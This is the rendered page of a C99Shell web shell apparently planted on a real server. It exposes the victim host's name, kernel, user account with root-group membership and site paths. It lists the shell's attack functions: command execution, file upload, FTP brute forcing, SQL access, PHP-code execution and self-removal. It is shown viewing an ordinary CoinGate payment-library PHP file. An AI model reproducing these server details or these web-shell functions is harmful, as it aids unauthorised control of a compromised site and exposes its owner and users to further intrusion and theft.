!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/coingate/coingate-php/lib/Services/   drwxr-xr-x
Free 23.59 GB of 117.98 GB (19.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractServiceFactory.php (1.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace CoinGate\Services;

use 
CoinGate\ClientInterface;

abstract class 
AbstractServiceFactory
{
    
/**
     * @var ClientInterface
     */
    
private $client;

    
/**
     * @var array<string, AbstractService>
     */
    
private $services;

    
/**
     * @var PublicService
     */
    
private $publicService;

    
/**
     * @param ClientInterface $client
     */
    
public function __construct(ClientInterface $client)
    {
        
$this->client $client;
        
$this->services = [];

        
// initialize public service
        
$this->publicService = new PublicService($client);
    }

    
/**
     * @param string $name
     *
     * @return string|null
     */
    
abstract protected function getServiceClass(string $name): ?string;

    
/**
     * @param string $name
     * @return AbstractService|null
     */
    
public function __get(string $name)
    {
        
$serviceClass $this->getServiceClass($name);

        if (
$serviceClass === null) {
            
trigger_error('Undefined property: ' . static::class . '::$' $name);
            return 
null;
        }

        if (! isset(
$this->services[$name])) {
            
$object = new $serviceClass($this->client);

            if (! (
$object instanceof AbstractService)) {
                
trigger_error('Undefined property: ' . static::class . '::$' $name);
                return 
null;
            }

            
$this->services[$name] = $object;
        }

        return 
$this->services[$name];
    }

    
/**
     * @param string $name
     * @param array<int, mixed> $arguments
     * @return PublicService|null
     */
    
public function __call(string $name, array $arguments)
    {
        if (! 
method_exists($this->publicService$name)) {
            
trigger_error('Call to undefined method ' . static::class . '::' $name '()');
            return 
null;
        }

        return 
$this->publicService->{$name}(...$arguments);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--